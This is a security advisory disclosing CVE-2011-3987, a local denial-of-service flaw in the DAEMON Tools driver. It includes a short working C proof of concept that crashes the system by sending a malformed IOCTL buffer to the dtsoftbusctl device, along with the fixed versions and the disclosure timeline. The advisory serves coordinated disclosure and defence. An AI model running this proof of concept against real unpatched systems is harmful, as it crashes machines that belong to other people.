Advisory: DAEMON Tools IOCTL local denial-of-service vulnerability
Advisory ID: JVNDB-2011-000085
Author: Satoshi TANDA
Affected Software: Successfully tested on DAEMON Tools 4.40
Vendor URL: http://www.daemon-tools.cc/eng/home
Vendor Status: fixed
CVE-ID: CVE-2011-3987

==========================
Vulnerability Description:

Following products contain a local denial-of-service (DoS) vulnerability.

Affected products:

• DAEMON Tools Lite versions prior to 4.41.3
• DAEMON Tools Pro Standard versions prior to 4.41.0315
• DAEMON Tools Pro Advanced versions prior to 4.41.0315

==================
Technical Details:

#include <Windows.h>
int main(){
HANDLE Device = CreateFile(TEXT("\\\\.\\dtsoftbusctl"), 0, FILE_SHARE_READ | FILE_SHARE_WRITE, 0, OPEN_EXISTING, 0, NULL);
if (Device == INVALID_HANDLE_VALUE)
return 1;

BYTE InData[0x400]; 
memset(InData, 0xf0, sizeof(InData));

DWORD ResultBytes = 0;
DWORD IoControlCode = CTL_CODE(FILE_DEVICE_UNKNOWN, 0x0A01, METHOD_BUFFERED, FILE_ANY_ACCESS);
DeviceIoControl(Device, IoControlCode, InData, sizeof(InData), NULL, 0, &ResultBytes, NULL);
/* unreachable code */system("pause");

}

=========
Solution:

• Update to the latest version - http://www.daemon-tools.cc/eng/downloads

====================
Disclosure Timeline:

09-Mar-2011 - Informed Information-technology Promotion Agency, Japan
03-Aug-2011 - Vendor fix
17-Oct-2011 - Release date of this security advisory

========
Credits:

Vulnerability found and advisory written by Satoshi TANDA.

===========
References:

http://jvndb.jvn.jp/en/contents/2011/JVNDB-2011-000085.html
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-3987